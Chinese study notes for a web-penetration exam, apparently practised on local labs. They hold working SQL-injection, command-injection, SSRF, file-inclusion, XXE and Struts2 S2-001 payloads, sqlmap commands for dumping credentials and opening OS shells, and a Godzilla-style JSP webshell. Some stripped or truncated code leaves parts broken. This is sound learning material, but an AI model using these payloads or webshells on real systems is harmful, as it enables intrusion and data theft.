文章目录

宽字节注入插入注入二次注入PDO模式(动态靶机!!!!!!!)sql注入读取文件sql注入导出文件linux命令

10.12笔记sqlmapsqlmap参数

10.13笔记sqlmap 文件读写前后缀常用tamper及适用场景

10.14笔记命令执行漏洞linux命令连接符windows命令连接符

代码执行漏洞

10.15笔记SSRF(可能考察burp爆破)

10.16笔记WSDL api接口(不考)php伪协议

10.17笔记XXE 外部实体注入JSONP 挟持(不好考察)中间件

10.18笔记tomcatweblogic漏洞struts2vulhub

宽字节注入

gbk 中文 utf-8 mysql:数据库使用gbk编码方式 php:魔术转义符 使用%df跟省下的字节去组成一个汉字实现闭合。 例题:

单引号没反应 添加%df报错 添加%23报错消失,验证即可知,闭合成功。

插入注入

insert

insert into news values (0, '123', '456')

闭合方式 123’,‘456’)#

insert into news values (0, '123

', '456')#','')

1.闭合方式(确定sql语句格式、列数) 2.字段匹配 3.字段类型(int 日期 时间)

二次注入

update 先将恶意字符入库,再代入(有两种方式取值:1.session取值 2.数据库select取值)查询。

注册恶意用户 admin’ --> php转义成admin’ --> 数据库存储为 admin’

// session取值

$username = $_SESSION['username'];

// admin'

update users set password='$pass' where username='admin'#' and password='$curr_pass'

使用 admin'# 完成闭合,通过修改admin'#用户密码的方式,基于注入,实际修改的是admin用户的密码,通过'# 拼接and password='$curr_pass'跳过了原密码的验证。

例题:sqli/Less-24

注册用户admin’#12138 登录用户admin’#12138 修改admin’#12138用户的密码,页面显示被操作用户为admin’#12138,实际上通过sql注入实现了对admin账户密码的修改。

update users set password='$pass' where username='admin

'#' and password='$curr_pass'

正常sql语句

update users set password='$pass' where username='admin' and password='$curr_pass'

PDO模式(动态靶机!!!!!!!)

目前注入点,只支持查询select。 使用pdo模式,支持增删改查操作。

选取chujiban数据库中 news 表的 id, title 和 content 字段,并放到 HTML 表格中:

header("Content-Type:text/html;charset=utf-8");

echo "

";

echo "

";

class TableRows extends RecursiveIteratorIterator {

function __construct($it) {

parent::__construct($it, self::LEAVES_ONLY);

}

function current() {

return "

";

}

function beginChildren() {

echo "

";

}

function endChildren() {

echo "

" . "\n";

}

}

$servername = "localhost";

$username = "root";

$password = "root";

$dbname = "chujiban";

$id = $_GET['id'];

if(!empty($id)) {

try {

$conn = new PDO("mysql:host=$servername;dbname=$dbname", $username, $password);

$conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

$stmt = $conn->prepare("SELECT id, title, content FROM news where id = '$id'");

$stmt->execute();

// 设置结果集为关联数组

$result = $stmt->setFetchMode(PDO::FETCH_ASSOC);

foreach(new TableRows(new RecursiveArrayIterator($stmt->fetchAll())) as $k=>$v) {

echo $v;

}

}

catch(PDOException $e) {

echo "Error: " . $e->getMessage();

}

}

$conn = null;

echo "

Id标题内容
" . parent::current(). "
";

?>

浏览器打开php页面 单引号闭合 基于pdo模式进行注入 原sql代码SELECT id, title, content FROM news where id = '$id',通过浏览器输入http://127.0.0.1/pdo.php?id=2%27;update%20news%20set%20title=0x61626364%20where%20id=1%23,实现了对id=1的数据修改。 注意:1.第一个sql语句后要加分号;2.实现这种操作基于拥有update权限。 查询id=1的数据验证更改成功。 通过浏览器输入http://127.0.0.1/pdo.php?id=1%27;insert into news values(0, 'abc', 'def')%23可以实现数据插入。

sql注入读取文件

条件:

数据库账号具备file权限文件读取权限mysql配置文件mysql.ini设置参数secure-file-priv=""

load_file(filename)

SELECT LOAD_FILE('D:/phpstudy_pro/WWW/1.txt');

1.数据库权限 增删改查 2.文件权限 读写

GRANT FILE,SELECT ON chujiban.* TO 'chujiban1'@'%' INENTIFIED BY '123456';

sql注入导出文件

into outfile "c:/xxx.txt"

select 1 into outfile "c:/2.txt";

条件:

数据库账号具备file权限文件读取权限mysql配置文件mysql.ini设置参数secure-file-priv=""

mysql.ini->参数secure-file-priv 1.null 不允许导入导出 2.“”允许导出到任意位置 3.特定位置

例题: 1.找到注入点 通过在根目录上传phpinfo.php,然后查看在phpinfo页面搜索ROOT,可以查找到路径

2.写入一句话木马 写入考试地址/var/www/html/

http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,"" into outfile "/var/www/html/1.php"%23

3.使用哥斯拉连接 4.找flag

linux命令

find / -name *flag*

10.12笔记

sqlmap

——基于python 基于http请求

kali下的sqlmap命令:

注入

sqlmap -u "http:xxx\id=1"

2.查看数据库

sqlmap -u "http:xxx\id=1" --dbs

3.查看表

sqlmap -u "http:xxx\id=1" -D 数据库名 --tables

4.查看列

sqlmap -u "http:xxx\id=1" -D 数据库名 -T 表名 --columns

5.查看详细信息

sqlmap -u "http:xxx\id=1" -D 数据库名 -T 表名 --columns --dump

sqlmap参数

-h 帮助文档 -u 指定url

python sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1

–proxy 使用代理查看sqlmap的每次payload请求

python sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1 --proxy=http://127.0.0.1:8080

–current-user 指定当前用户

python sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1 --current-user

–current-db 指定当前数据库

python sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1 --current-db

–dbs 查看所有数据库

python sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1 --dbs

–users 查看所有用户

python sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1 --users

–password 获取密码hash

python sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1 --password

-D 指定数据库 –tables 查看指定数据库下的所有表

查看security数据库下的所有表

python sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1 -D security --tables

-T 指定表 –columns 查看指定数据库指定表下的所有列

查看security数据库下的users表的所有列

python sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1 -D security -T users --columns

-C 指定列 -C username,password 指定username,password列输出 –dump 查看表信息,导出数据

查看security数据库下的users表的username,password列输出

python sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1 -D security -T users -C username,password --dump

查看security数据库下的users表信息

python sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1 -D security -T users --dump

//从第一条开始,到第五条 –start 1 --stop 5

查看security数据库下的users表信息前五条

python sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1 -D security -T users --dump --start 1 --stop 5

针对post请求的两种方式:

-r 读取文件(一般适用于post请求) 例Less-11: 1.burp抓包 2.copy to file(跟sqlmap同路径) 3.sqlmap执行

python sqlmap.py -r 1.txt

python sqlmap.py -r 1.txt --dbs

python sqlmap.py -r 1.txt -D 数据库名 -T 表名 --dump

–data 添加参数 网页提交→f12→网络→找到请求→负载→查看源→复制参数→sqlmap启动

python sqlmap.py -u "http://127.0.0.1/sqli/Less-11/" --data "uname=1&paawd=1&submit=Submit"

–cookie 指定cookie

python sqlmap.py -u "http://127.0.0.1/sqli/Less-11/" --data "uname=1&paawd=1&submit=Submit"

User-Agent注入 * 指定注入参数位置 后续跟 -r 使用文件注入步骤一样,唯一区别为在sqlmap启动的时候会有一个是否对标记注入点进行payload的确认,如下。 sqlmap注入带来的User-Agent为sqlmapxxx问题 使用参数–random-agent 实现随机User-Agent解决。

python sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" --random-agent

–flush-session 刷新缓存

-v 0-6 显示等级 1 默认 2 debug信息 3 显示payload信息 4 显示请求头 5 显示返回头 6 显示完整返回包

–level 1-5 默认1 1 普通探测 2 探测cookie

3 探测user-agent

User-Agent注入:对burp取到的抓包内容直接进行探测

python sqlmap.py -r 3.txt --level 3

4 探测refer 5

10.13笔记

在4种注入方式都支持的情况下,注入方式使用的优先级顺序为 –technique=U,E,B,T –threads 10 –sql-shell sqlmap提供的模拟mysql的shell 使用pdo进行测试:

python sqlmap.py -u "http://127.0.0.1/pdo.php?id=1" --sql-shell

非pdo模式不支持堆语句查询,以sqli/Less1测试:

–privileges 查看用户权限

sqlmap 文件读写

两大前提: 1 所有的权限(1,2,3) 2 知道根路径 load_file() into outfile “”

–os-shell 获取一个系统shell

python sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" --os-shell

针对于找到注入点,但是无法在数据库中查询到flag的情况

找到注入点 添加 --os-shell 1.使用默认sqlmap自导的几个路径 2.自写路径地址 3.路径字典-绝对路径 c:/file.txt 4.使用sqlmap自带的路径字典(linux路径) 输入路/var/www/html 上传小马 上传大马 哥斯拉连接

ps:另外一个文件用于执行系统命令 –os-shell 本质: into outfile “” into dumpfile “”

–file-read load_file() 前提:有读取权限

python sqlmap.py -u "http://127.0.0.1:80/sqli/Less-1/?id=1" --file-read=D:/phpstudy_pro/WWW/1.txt

上传: –file-write=1.php 指定本地的php文件 –file-dest=c:/phpstudy_pro/www/1.php 指定远程路径地址

# 在注入点把F:/迅雷下载/网安/archive/渗透工具/SQL注入/sqlmap/sqlmapproject-sqlmap-62bba47/3.txt上传到D:/phpstudy_pro/WWW/2.txt文件中

python sqlmap.py -u "http://127.0.0.1:80/sqli/Less-1/?id=1" --file-dest=D:/phpstudy_pro/WWW/2.txt --file-write=F:/迅雷下载/网安/archive/渗透工具/SQL注入/sqlmap/sqlmapproject-sqlmap-62bba47/3.txt

前后缀

–prefix 增加前缀

--prefix '\'

–suffix 增加后缀

常用tamper及适用场景

base64encode base64编码 between between替换大于号 equaltolike 过滤=,=换成like concat2concatws 过滤concat nonrecursivereplacement 关键字双写 randomcase 关键字随机大小写 space2morecomment 随机注释符代替空格 space2randomblank 随机空白符替换空格 unmagicquotes 宽字节 varnish 伪造http头 X-originating-IP xforwardedfor 伪造http头 X-Forwarded-For

python sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" --tamper=between,equaltolike,concat2concatws,randomcase,space2morecomment,varnish,xforwardedfor --random-agent --threads 10

10.14笔记

命令执行漏洞

场景:路由器/运维机 ping命令

// ping.php

$ip = $_POST['ip'];

// system exec shell_exec ``

if(!empty($ip)) {

$cmd = "ping ".$ip;

system($cmd);

}

?>

ping

ip:

linux命令连接符

分号 ; 依次运行两个命令,真真和假真都可。

# 真真

ping 127.0.0.1 ; whoami

# 假真

ping 777.0.0.1 ; whoami

# 其他可用命令,如

# 假真

cat 1.txt ; whoami

# 真真

find /var/www/html/ -name 题目文件名.php ; whoami

|| 或运算,只有假真才可

# 假真

ping 777.0.0.1 || whoami

# 其他可用命令,如

# 假真

cat 12138.txt || whoami

# 假真

find / -name 12138.php || whoami

| ,真真和假真都可

# 真真

ping 127.0.0.1 | whoami

# 假真

ping 777.0.0.1 | whoami

# 其他可用命令,如

# 真真

find /var/www/html/ -name 题目文件名.php | whoami

# 假真

cat 12138.txt | whoami

&& ,只有真真才可。

# 真真

ping 127.0.0.1 && whoami

# 其他可用命令,如

# 真真

find /var/www/html/ -name 题目文件名.php && whoami

& ,真真和假真都可。

# 真真

ping 127.0.0.1 & whoami

# 假真

ping 777.0.0.1 & whoami

# 其他可用命令,如

# 真真

find /var/www/html/ -name 题目文件名.php & whoami

# 假真

cat 12138.txt & whoami

windows命令连接符

&& , 真真可输出。

C:\Users\dongy>ping 127.0.0.1 && whoami

正在 Ping 127.0.0.1 具有 32 字节的数据:

来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=64

来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=64

来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=64

来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=64

127.0.0.1 的 Ping 统计信息:

数据包: 已发送 = 4,已接收 = 4,丢失 = 0 (0% 丢失),

往返行程的估计时间(以毫秒为单位):

最短 = 0ms,最长 = 0ms,平均 = 0ms

dy-pc\dongy

C:\Users\dongy>ping 777.0.0.1 && whoami

Ping 请求找不到主机 777.0.0.1。请检查该名称,然后重试。

&,真真和假真都可输出。

C:\Users\dongy>ping 127.0.0.1 & whoami

正在 Ping 127.0.0.1 具有 32 字节的数据:

来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=64

来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=64

来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=64

来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=64

127.0.0.1 的 Ping 统计信息:

数据包: 已发送 = 4,已接收 = 4,丢失 = 0 (0% 丢失),

往返行程的估计时间(以毫秒为单位):

最短 = 0ms,最长 = 0ms,平均 = 0ms

dy-pc\dongy

C:\Users\dongy>ping 777.0.0.1 & whoami

Ping 请求找不到主机 777.0.0.1。请检查该名称,然后重试。

dy-pc\dongy

|| ,假真可输出。

C:\Users\dongy>ping 127.0.0.1 || whoami

正在 Ping 127.0.0.1 具有 32 字节的数据:

来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=64

来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=64

来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=64

来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=64

127.0.0.1 的 Ping 统计信息:

数据包: 已发送 = 4,已接收 = 4,丢失 = 0 (0% 丢失),

往返行程的估计时间(以毫秒为单位):

最短 = 0ms,最长 = 0ms,平均 = 0ms

C:\Users\dongy>ping 777.0.0.1 || whoami

Ping 请求找不到主机 777.0.0.1。请检查该名称,然后重试。

dy-pc\dongy

|,真真和假真都可输出。

C:\Users\dongy>ping 127.0.0.1 | whoami

dy-pc\dongy

C:\Users\dongy>

C:\Users\dongy>ping 777.0.0.1 | whoami

dy-pc\dongy

127.0.0.1 | echo '' >> /var/www/html/12138.php

127.0.0.1 | find / -name *flag*

127.0.0.1 | whoami

代码执行漏洞

10.15笔记

SSRF(可能考察burp爆破)

xss 跨站脚本攻击(窃取cookie) 反射型和存储型

script

xxx.php?xxx=

document.cookie

xxx.php?cookie=document,cookie

csrf 跨站请求伪造

ssrf 攻击(参数image=后面的)可以爆破,主机地址不可以爆破)

http://www.xxx.com/a.php?image=http://xxx.com/1.jpg

http://www.xxx.com/a.php?image=http://10.211.55.18/1.jpg

//ssrf.php

if(isset($_REQUEST['url'])) {

$_link = $_REQUEST['url'];

//$filename = './curled/'.time().'.txt';

$curlobj = curl_init($_link);

//$fp = fopen($filename, "W");

//curl_setopt($curlobj, CURLOPT_FILE, $fp);

curl_setopt($curlobj, CURLOPT_HEADER, 0);

curl_setopt($curlobj, CURLOPT_FOLLOWLOCATION, TRUE);

curl_exec($curlobj);

curl_close($curlobj);

//fclose($fp);

//$fp = fopen($filename, "r");

//$result = fread($fp, filesize($filename));

//fclose($fp);

//echo $curlobj;

}else {

echo "start!";

}

?>

读取文件

http://127.0.0.1/ssrf.php?url=file://C:\Windows\System32\drivers\etc\hosts

?url=file://C:\Windows\System32\drivers\etc\hosts

探测内网web资源信息 ?url=http://127.0.0.1/探测端口 dist://127.0.0.1:3306 使用burp进行爆破读取本地文件file:///var/www/html/xxx.txt

10.16笔记

WSDL api接口(不考)

前后端分离→前端 + 后端:考试平台→vue + golang(编译型语言,不同于php解释型语言)→编译后为可执行程序 token ≈ session,cookie

php伪协议

1 file:// — 访问本地文件系统

2 http:// — 访问 HTTP(s) 网址

3 ftp:// — 访问 FTP(s) URLs

4 php:// — 访问各个输入/输出流(I/O streams)

5 zip:// — 压缩流

6 phar:// — PHP 归档

7 glob:// — 查找匹配的文件路径模式

8 data:// — 数据(RFC 2397)

9 ssh2:// — Secure Shell 2

10 rar:// — RAR

11 ogg:// — 音频流

12 expect:// — 处理交互式的流

file://

// i.php 文件包含

$file=$_GET['file'];

include $file;

?>

相对路径

绝对路径 退级查找文件

http://127.0.0.1/dvwa/vulnerabilities/fi/?page=../../../1.txt

绝对路径查找文件

php://filter

//将文件内容转换成base64编码

php://filter/convert.base64-encode/resource=xxx.php

php://filter/read=convert.base64-encode/resource=xxx.php

php://input

// 用来执行php代码,通常以post方式

127.0.0.1/i.php?file=php://input

写入一句话代码

//phpinput.php

$file=fopen("dy12138.php","w");

fwrite($file, "");

fclose($file);

?>

burp写入一句话木马 连接成功 4. zip:// phar:// — 压缩流

http://127.0.0.1/i.php?file=zip://d:\phpstudy_pro\www\1.zip%23123.txt

http://127.0.0.1/i.php?file=phar://d:\phpstudy_pro/www\1.zip\123.txt

http:// ——远程包含,先考虑目录扫描或从本身找线索。

http://127.0.0.1/i.php?file=http://127.0.0.1/1.txt

10.17笔记

1016考试题整理 思路:文件包含,在不知道其他文件的情况下,先读文件本体,也可考虑使用php://input通过写入shell的方式获取flag,但是需要php.ini中allow_url_include=On 无法读取,考虑是否为base64编码。

XXE 外部实体注入

参考 实验一:有回显读本地敏感文件(Normal XXE) 这个实验的攻击场景模拟的是在服务能接收并解析 XML 格式的输入并且有回显的时候,我们就能输入我们自定义的 XML 代码,通过引用外部实体的方法,引用服务器上面的文件.

本地服务器上放上解析 XML 的 php 代码:

示例代码:xml.php

libxml_disable_entity_loader (false);

$xmlfile = file_get_contents('php://input');

$dom = new DOMDocument();

$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);

$creds = simplexml_import_dom($dom);

echo $creds;

?>

burp对127.0.0.1/xml.php抓包,send to repeater → 改为POST 提交方式 添加参数 payload:

]>

&t12138;

]>

&t12138;

同理,php://filter 同样适用

//将文件内容转换成base64编码

php://filter/convert.base64-encode/resource=xxx.php

php://filter/read=convert.base64-encode/resource=xxx.php

JSONP 挟持(不好考察)

同源策略介绍:

同源策略:同域名 同端口号 同协议;浏览器有一个“同源策略”的规则: 只有在同域名同端口号和同协议下才能进行数据的请求和传输;不符合同源策略的,浏览器为了安全,会阻止请求;

解决跨域问题,有两种办法:

第一就是:cors,由后端设置:Access-Control-Allow-Origin:*这也就是为什么有一些数据可以跨域访问,因为它们后端设置了允许指定接口或者允许所有接口去访问,这个设置可以在Response Headers里看到;CORS是一种允许当前域(domain)的资源(比如html/js/web service)被其他域(domain)的脚本请求访问的机制;第二就是:jsonp,由前后端协作去设置;jsonp的原理:动态创建script标签,src属性指向没有跨域限制;指向一个接口,接口返回的格式一定是***()函数表达式 代码:

Document

产生漏洞:jsonp挟持 JSONP劫持,就是攻击者attacker通过构造设计一个网站evil(网站中包含其他网站的JSONP漏洞利用代码,具体为回调函数和script标签)请求用户已注册并登录的网站victim(含有JSONP漏洞,该网站对来自网站evil的请求没有进行安全检查直接返回数据)将数据通过alert弹窗等方式返回到网站victim并显示用户在网站victim的注册信息。 总结:JSONP劫持就是利用scirpt标签的src属性实现跨域请求,获取网站数据的过程。

中间件

apache php服务 → 列目录 → 帮助了解web架构 列目录: 可以使用目录扫描工具,通过DIR.txt→PHP.txt→phptop2500.txt→phptop10000.txt字典,扫描目录。 nginx 虚假原因:nginx < 0.8 出现了1.jpg可使用1.jpg/*.php执行图片文件的漏洞 真实原因:php.cgi配置问题导致的畸形解析漏洞 一般通过畸形解析漏洞结合上传白名单考察。

先尝试是否可以直接上传php,不行的话使用图片一句话木马。 靶机地址:http://ctf.vivivi.vip:30011/

图片加入一句话木马

copy 1.jpg/b + phpinput.php test.jpg

上传→执行→查看文件。

10.18笔记

tomcat

应用于java → 具有管理页面 本地tomcat默认口令:admin:admin

基于tomcat通过jsp文件的一句话木马连接哥斯拉:

使用哥斯拉生成一句话木马 1.jsp(基于java) 将1.jsp打包成1.war在127.0.0.1/manager/html页面上传 部署成功 验证1.jsp是否部署成功。 哥斯拉连接

Tomcat PUT方法任意写文件漏洞 对tomcat抓包send to repeater,然后修改方法为PUT,添加jsp文件名,写入文件内容,这里可以使用哥斯拉创建的jsp格式的一句话木马。

//pass111

<%! String xc="3c6e0b8a9c15224a"; class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }}

%><%try{byte[] data=new byte[Integer.parseInt(request.getHeader("Content-Length"))];java.io.InputStream inputStream= request.getInputStream();int _num=0;while ((_num+=inputStream.read(data,_num,data.length))

%>

连接成功。

weblogic漏洞

1.上传文件漏洞 仍然使用哥斯拉生成的上一个war包 上传war包 一直下一步下一步,直到完成,然后验证木马已经上传。 哥斯拉连接成功。 2.弱口令 3.ssrf漏洞 自查

struts2

java + tomcat框架 文件名:login.action login.do 漏洞类型:

代码执行命令执行

s2-001 DEMO

%{

#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),

#b=#a.getInputStream(),

#c=new java.io.InputStreamReader(#b),

#d=new java.io.BufferedReader(#c),

#e=new char[50000],

#d.read(#e),

#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),

#f.getWriter().println(new java.lang.String(#e)),

#f.getWriter().flush(),#f.getWriter().close()

}

工具使用:Struts2综合利用.jar 1.输入网址,点击验证。 2.命令执行:只能查看,不能写入 3.上传到根目录 上传成功。 页面访问上传的jsp文件 此处可传入一句话木马。

//pass111

<%! String xc="3c6e0b8a9c15224a"; class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }}

%><%try{byte[] data=new byte[Integer.parseInt(request.getHeader("Content-Length"))];java.io.InputStream inputStream= request.getInputStream();int _num=0;while ((_num+=inputStream.read(data,_num,data.length))

%>

写入成功。 4.上传到指定目录 注意修改路径

上传成功

工具使用:Struts2漏洞检查工具2019版 V2.3 1.输入网址,点击验证。 2.查看漏洞信息

3.命令执行 4.文件上传 直接点击上传为上传到根目录,也可以自定义目录。

上传成功 此处可以上传一句话木马(jsp)

//pass111

<%! String xc="3c6e0b8a9c15224a"; class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }}

%><%try{byte[] data=new byte[Integer.parseInt(request.getHeader("Content-Length"))];java.io.InputStream inputStream= request.getInputStream();int _num=0;while ((_num+=inputStream.read(data,_num,data.length))

%>

vulhub

文章链接

评论可见,请评论后查看内容,谢谢!!!评论后请刷新页面。